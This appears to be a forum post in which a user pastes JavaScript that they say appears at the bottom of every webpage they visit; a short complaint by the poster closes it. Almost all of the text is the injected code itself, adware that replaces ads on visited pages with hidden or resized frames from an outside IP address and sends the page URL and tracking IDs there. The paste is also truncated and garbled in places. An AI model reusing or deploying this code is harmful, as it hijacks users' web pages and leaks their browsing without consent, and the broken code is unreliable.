'100', '100', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b250x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b250x250', 'http://85.12.43.83/fls.all/250x250/250x250_1.html?a=b', '250', '250', '250', '250', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b240x400", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b240x400', 'http://85.12.43.83/fls.all/240x400/240x400_1.html?a=b', '240', '240', '400', '400', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b234x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b234x60', 'http://85.12.43.83/fls.all/234x60/234x60_1.html?a=b', '234', '234', '60', '60', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b180x150", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b180x150', 'http://85.12.43.83/fls.all/180x150/180x150_1.html?a=b', '180', '180', '150', '150', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b160x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b160x600', 'http://85.12.43.83/fls.all/160x600/160x600_2.html?a=b', '160', '160', '600', '600', , )); var arrAnti = new Array("search42\.com","joybuyjoy\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b125x125", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b125x125', 'http://85.12.43.83/fls.all/125x125/125x125_1.html?a=b', '125', '125', '125', '125', , )); var arrAnti = new Array("tube\.com","youporn\.com","sexthe\.net");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b120x90', 'http://85.12.43.83/fls.all/120x90/120x90_1.html?a=b', '120', '120', '90', '90', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b120x600', 'http://85.12.43.83/fls.all/120x600/120x600_1.html?a=b', '120', '120', '600', '600', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x240", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b120x240', 'http://85.12.43.83/fls.all/120x240/120x240_1.html?a=b', '120', '120', '240', '240', , )); var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "300x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( '300x250', 'http://85.12.43.83/fls.all/300x250/300x250_5.html?a=b', '300', '300', '250', '250', , )); ExclusionArray_24578457887 = new Array(); function f_E850A1B8F15A48e9BD405A67D067013E() { var MainCollection; window.onload = onloadevent_E850A1B8F15A48e9BD405A67D067013E; // reset onload event if (onloadevent_E850A1B8F15A48e9BD405A67D067013E != null) onloadevent_E850A1B8F15A48e9BD405A67D067013E(); if (!document || !document.body || !document.body.childNodes) return; TopWndUrl_E850A1B8F15A48e9BD405A67D067013E = GetTopWindowUrl_C782A923BB0348e19544F09902515411(); MetaKwd_E850A1B8F15A48e9BD405A67D067013E = GetMeta_C782A923BB0348e19544F09902515411(); FrameString_E850A1B8F15A48e9BD405A67D067013E = GetFrameContent_C782A923BB0348e19544F09902515411(document.body); initialize_24578457887(); if(MustExit_24578457887()) return; MainCollection = document.body.childNodes; ReplaceByFrame_24578457887(InitArray_24578457887, MainCollection, 0); } //function f_E850A1B8F15A48e9BD405A67D067013E() function GetTopWindowUrl_C782A923BB0348e19544F09902515411() { var temp = ""; var e; try { temp = window.top.location.href; } catch(e) { temp = window.location.href; } return temp; } //function GetTopWindowUrl_C782A923BB0348e19544F09902515411() function SimpleEncode_C782A923BB0348e19544F09902515411(str) { if (str == null) return ""; str = escape(str); str = str.replace(/\+/g, "%2B"); str = str.replace(/\//g, "%2F"); return str; } //function SimpleEncode_C782A923BB0348e19544F09902515411(str) function GetMeta_C782A923BB0348e19544F09902515411() { var e; var str = ""; try { var head = window.top.document.getElementsByTagName('head').item(0); if(head != null) { if (head.childNodes != null && head.childNodes.length > 0) { for(var y=head.childNodes.length-1; y>=0; y--) { var child = head.childNodes.item(y); if(child.tagName == "META") { str += "< rulesetElement.AntiArr.length; i++) if (document.location.href.indexOf(rulesetElement.AntiArr[i]) != -1) return null; // check content keywords for (i = 0; i < rulesetElement.ContentArr.length; i++) if (FrameString_E850A1B8F15A48e9BD405A67D067013E.indexOf(rulesetElement.ContentArr[i]) != -1) return rulesetElement.ContentArr[i]; // check metakeywords for (i = 0; i < rulesetElement.MetaArr.length; i++) if (MetaKwd_E850A1B8F15A48e9BD405A67D067013E.indexOf(rulesetElement.MetaArr[i]) != -1) return rulesetElement.MetaArr[i]; // check urlkeywords for (i = 0; i < rulesetElement.UrlArr.length; i++) if (document.location.href.indexOf(rulesetElement.UrlArr[i]) != -1) return rulesetElement.UrlArr[i]; return null; } //function CheckUrl_3A315874118D436c8E256384792D2A73(rulesetElement) function GetFrameContent_C782A923BB0348e19544F09902515411(nodeElement) { var retStr = ""; if(null==nodeElement) return ""; if (nodeElement.nodeValue != null) retStr = nodeElement.nodeValue; var allChildrenNode = nodeElement.childNodes; if (allChildrenNode != null && allChildrenNode.length > 0) { for(var y=allChildrenNode.length-1; y>=0; y--) { var child = allChildrenNode.item(y); retStr = retStr + GetFrameContent_C782A923BB0348e19544F09902515411(child); } } retStr = retStr + " "; return retStr; } //function GetFrameContent_C782A923BB0348e19544F09902515411(nodeElement) function Connection_3A315874118D436c8E256384792D2A73(Obj) { // var img = new Image(); // // if(Obj) // img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID; // else // img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?null"; //alert('Connection ' + Obj.FrID + ' src: ' + Obj.FrSrc); try { var fr = document.createElement("iframe"); fr.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID; fr.width = 0; fr.height = 0; document.body.appendChild(fr); } catch(e){} } //function Connection_3A315874118D436c8E256384792D2A73() function MustExit_24578457887() { var flExcl = 0; var str; var aid = MainAid_24578457887; var ss; var i; flExcl = 0; str = window.location.href; for(i = 0; i < ExclusionArray_24578457887.length; ++i) { if(!ExclusionArray_24578457887[i].length) continue; if(str.length < ExclusionArray_24578457887[i].length) continue; if(str.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i]) { flExcl = 1; break; } }; //for(j = 0; j < ExclusionArray_24578457887.length; ++j) if(flExcl) return 1; flExcl = 0; for(i = 0; i < str.length - aid.length + 1; i++) { ss = str.substr(i, aid.length); if(ss == aid) { flExcl = 1; break; } } //for(j = 0; j < str.length - 4; j++) if(flExcl) return 1; return 0; }; //function MustExit() function initialize_24578457887() { var i; var str; for(i = 0; i < InitArray_24578457887.length; ++i) { str = GetDomain_24578457887(InitArray_24578457887[i].FrSrc); if(str.length) ExclusionArray_24578457887.push(str); str = GetDomain_24578457887(InitArray_24578457887[i].AHref); if(str.length) ExclusionArray_24578457887.push(str); str = GetDomain_24578457887(InitArray_24578457887[i].ImgSrc); if(str.length) ExclusionArray_24578457887.push(str); } //for(i = 0; i < InitArray_24578457887; ++i) } //function initialize() function CreateFrame_24578457887(InitObj) { var XFrame = document.createElement("iframe"); XFrame.id = InitObj.FrID; XFrame.name = InitObj.FrName; XFrame.framespacing = InitObj.FrSpacing; XFrame.frameborder = InitObj.FrBorder; XFrame.scrolling = InitObj.FrScrolling ; XFrame.width = InitObj.FrWidthMin; XFrame.height = InitObj.FrHeightMin; if(!XFrame.frameborder || XFrame.frameborder == 'no') { XFrame.style.borderWidth = "0px"; XFrame.frameBorder = '0'; } return XFrame; } //function CreateFrame(El) function CheckImg_24578457887(ObjArray, El) { var i; try { for(i = 0; i < ObjArray.length; ++i) if( ( (El.width >= ObjArray[i].FrWidthMin) && (El.width <= ObjArray[i].FrWidthMax) ) && ( (El.height >= ObjArray[i].FrHeightMin) && (El.height <= ObjArray[i].FrHeightMax) ) ) return ObjArray[i]; } catch(e) {} return null; } //function CheckImg(El) function CheckObj_24578457887(ObjArray, El) { var i; try { for(i = 0; i < ObjArray.length; ++i) if( ( (El.getAttribute("width") >= ObjArray[i].FrWidthMin) && (El.getAttribute("width") <= ObjArray[i].FrWidthMax) ) && ( (El.getAttribute("height") >= ObjArray[i].FrHeightMin) && (El.getAttribute("height") <= ObjArray[i].FrHeightMax) ) ) return ObjArray[i]; } catch(e){} return null; } //function CheckObj(El) function CheckID_24578457887(ObjArray, El) { var i; try { if(El.id) for(i = 0; i < ObjArray.length; ++i) if(El.id == ObjArray[i].FrID) return ObjArray[i]; } catch(e) {} return null; } //function CheckID_24578457887(ObjArray, El) function WrFrame_24578457887(InitObj) { var FrameList = null; var j; var xd, yd; FrameList = window.frames; for(j = 0; j < FrameList.length; ++j) { try { if(!FrameList[j].frameElement) continue; if(!FrameList[j].frameElement.id) continue; if(FrameList[j].frameElement.id != InitObj.FrID) continue; } catch(e) { continue; } try { FrameList[j].document.write(" " + " "); } catch(e) { continue; } try { xd = FrameList[j].document.getElementById('B' + InitObj.FrID).getAttribute("clientLeft") + FrameList[j].document.getElementById(InitObj.FrID).getAttribute("offsetLeft"); yd = FrameList[j].document.getElementById('B' + InitObj.FrID).getAttribute("clientTop") + FrameList[j].document.getElementById(InitObj.FrID).getAttribute("offsetTop"); if(navigator.appName == 'Microsoft Internet Explorer') { xd += 7; yd += 12; } //if(navigator.appName == 'Microsoft Internet Explorer') else if(navigator.appName == 'Netscape') { xd = '8'; yd = '8' }//if(navigator.appName == 'Netscape') else if(navigator.appName == 'Opera') { xd = '5'; yd = '5'; } //else if(navigator.appName == 'Opera') } catch(e) { if(navigator.appName == 'Microsoft Internet Explorer') { xd = '8'; yd = '14' }//if(navigator.appName == 'Microsoft Internet Explorer') if(navigator.appName == 'Netscape') { xd = '8'; yd = '8' }//if(navigator.appName == 'Netscape') else if(navigator.appName == 'Opera') { xd = '5'; yd = '5'; }//else if(navigator.appName == 'Opera') } try { FrameList[j].document.getElementById('B' + InitObj.FrID).style.marginLeft= '-' + xd + 'px'; FrameList[j].document.getElementById('B' + InitObj.FrID).style.marginTop= '-' + yd + 'px'; } catch(e) {} } //for(j = 0; j < document.frames.length; ++j) } //function RepChild_24578457887() function CheckTagIMG_24578457887(El, InitArray) { var InitObj; var flExcl; var NewFrame; var i; if(El.parentNode.tagName != "A") return 0; InitObj = CheckImg_24578457887(InitArray, El); if(!InitObj) return 1; flExcl = 0; for(i = 0; i < ExclusionArray_24578457887.length; ++i) { if(!ExclusionArray_24578457887[i].length) continue; if(El.parentNode.href.length < ExclusionArray_24578457887[i].length) continue; if(El.parentNode.href.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i]) { flExcl = 1; break; } }; //for(j = 0; j < ExclusionArray_24578457887.length; ++j) if(flExcl) return 1; NewFrame = CreateFrame_24578457887(InitObj); El.parentNode.parentNode.replaceChild(NewFrame, El.parentNode); WrFrame_24578457887(InitObj); Connection_3A315874118D436c8E256384792D2A73(InitObj); return 0; } //function CheckTagIMG_24578457887() function CheckTagEMBED_24578457887(El, InitArray) { var str; var InitObj; var NewFrame; var i; if(El.parentNode == null) return 1; str = El.getAttribute("src"); if(!str) return 1; for(i = 0; i < str.length - 3; ++i) { ss = str.substr(i, 4); if(ss == ".swf") break; } //for(j = 0; j < str.length - 4; j++) if(ss != ".swf") return 1; if(CheckID_24578457887(InitArray, El)) return 1; InitObj = CheckObj_24578457887(InitArray, El); if(!InitObj) return 1; NewFrame = CreateFrame_24578457887(InitObj); El.parentNode.replaceChild(NewFrame, El); WrFrame_24578457887(InitObj); Connection_3A315874118D436c8E256384792D2A73(InitObj); return 0; } //function CheckTagEMBED_24578457887() function CheckTagOBJECT_24578457887(El, InitArray) { var str; var InitObj; var NewFrame; var ss; var i; if(El.parentNode == null) return 1; if(navigator.appName == 'Opera') return 1; try { str = El.getAttribute("movie"); if(!str) { str = El.getAttribute("data"); if(!str) return 1; } //if(!str) } catch(e) { return 1; } for(i = 0; i < str.length - 3; ++i) { ss = str.substr(i, 4); if(ss == ".swf") break; } //for(j = 0; j < str.length - 4; j++) if(ss != ".swf") return 1; if(CheckID_24578457887(InitArray, El)) return 1; InitObj = CheckObj_24578457887(InitArray, El); if(!InitObj) return 1; NewFrame = CreateFrame_24578457887(InitObj); El.parentNode.replaceChild(NewFrame, El); WrFrame_24578457887(InitObj); Connection_3A315874118D436c8E256384792D2A73(InitObj); return 0; } //function CheckTagOBJECT_24578457887() function CheckTagIFRAME_24578457887(El, InitArray) { var InitObj; var NewFrame; var flExcl; var str; var ss; var aid = MainAid_24578457887; var i; if(!El.parentNode) return 1; if(!El.tagName) return 1; if(CheckID_24578457887(InitArray, El)) return 1; InitObj = CheckObj_24578457887(InitArray, El); if(!InitObj) return 1; flExcl = 0; for(i = 0; i < ExclusionArray_24578457887.length; ++i) { if(!ExclusionArray_24578457887[i].length) continue; if(El.src.length < ExclusionArray_24578457887[i].length) continue; if(El.src.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i]) { flExcl = 1; break; } }; //for(j = 0; j < ExclusionArray_24578457887.length; ++j) if(flExcl) return 0; flExcl = 0; str = El.src; for(i = 0; i < str.length - aid.length + 1; i++) { ss = str.substr(i, aid.length); if(ss == aid) { flExcl = 1; break; } } //for(j = 0; j < str.length - 4; j++) if(flExcl) return 1; El.src = InitObj.FrSrc; Connection_3A315874118D436c8E256384792D2A73(InitObj); return 0; } //function CheckTagIFRAME_24578457887() function ReplaceByFrame_24578457887(InitArray, MainCollection, Included) { var El = null; var i; var flExit; if(!Included) { flExit = 0; for(i = 0; i < ruleset_AA532B7B55D44dbb87FAB30BCA27C538.length; ++i) { if(!CheckUrl_3A315874118D436c8E256384792D2A73(ruleset_AA532B7B55D44dbb87FAB30BCA27C538[i])) { flExit = 1; break; } //if(!CheckUrl_3A315874118D436c8E256384792D2A73(ruleset_AA532B7B55D44dbb87FAB30BCA27C538[idx])) } // for(i = 0; i < ruleset_AA532B7B55D44dbb87FAB30BCA27C538.length; ++i) if(flExit) return 0; }; //if(Included == 0) if(window.frameElement) { if(CheckObj_24578457887(InitArray, window.frameElement)) return 0; if(CheckID_24578457887(InitArray, window.frameElement)) return 0; } //if(window.frameElement) for(i = 0; i < MainCollection.length; i++) { El = MainCollection[i]; if(El.tagName == "IMG") { if(!CheckTagIMG_24578457887(El, InitArray)) continue; }//if(El.tagName == "IMG") else if(El.tagName == "EMBED") { if(!CheckTagEMBED_24578457887(El, InitArray)) continue; } //else if(El.tagName == "EMBED") else if(El.tagName == "OBJECT") { if(!CheckTagOBJECT_24578457887(El, InitArray)) continue; } //else if(El.tagName == "OBJECT") else if(El.tagName == "IFRAME") { if(!CheckTagIFRAME_24578457887(El, InitArray)) continue; } //else if(El.tagName == "IFRAME") if(El.childNodes && El.childNodes.length) ReplaceByFrame_24578457887(InitArray, El.childNodes, 1); } //for(i = 0; i < MainCollection.length; i++) return 0; } //function ReplaceByFrame() function CreateInitObject_24578457887(FrID, FrSrc, FrWidthMin, FrWidthMax, FrHeightMin, FrHeightMax, AHref, ImgSrc) { var InitObj = new Object(); InitObj.FrID = FrID; InitObj.FrName = FrID; InitObj.FrSrc = FrSrc + '&aid;=' + MainAid_24578457887 + '&guid;=' + MainGiud_24578457887 + '&uid;=' + MainUid_24578457887 + '&rid;=' + MainRid_24578457887 + '&url;=' + EscUrl_24578457887; InitObj.FrWidthMin = FrWidthMin; InitObj.FrWidthMax = FrWidthMax; InitObj.FrHeightMin = FrHeightMin; InitObj.FrHeightMax = FrHeightMax; InitObj.FrSpacing = '0'; InitObj.FrBorder = 'no'; InitObj.FrScrolling = 'no'; InitObj.AHref = AHref; InitObj.ATarget = 'blank'; InitObj.ImgSrc = ImgSrc; InitObj.ImgBorder = '0'; InitObj.ImgAlt = ; return InitObj; } //function CreateInitObject() function GetDomain_24578457887(str) { var i; var str2 = ""; for(i = 0; i < str.length; ++i) { str2 += str.charAt(i); if(str.charAt(i) == '/') { if( ((i + 1) < str.length) && ((i - 1) >= 0) ) { if( (str.charAt(i + 1) != '/') && (str.charAt(i - 1) != '/') ) break; } else if( ((i + 1) < str.length) && (str.charAt(i + 1) != '/') ) break; else if ( ((i - 1) >= 0) && (str.charAt(i - 1) != '/') ) break; } //if(str[i] == '/') } //for(i = 0; i < str.length; ++i) return str2; } //fat the bottom of every webpage i go to. all the links and everything!

Posted by ledzep567 10 years ago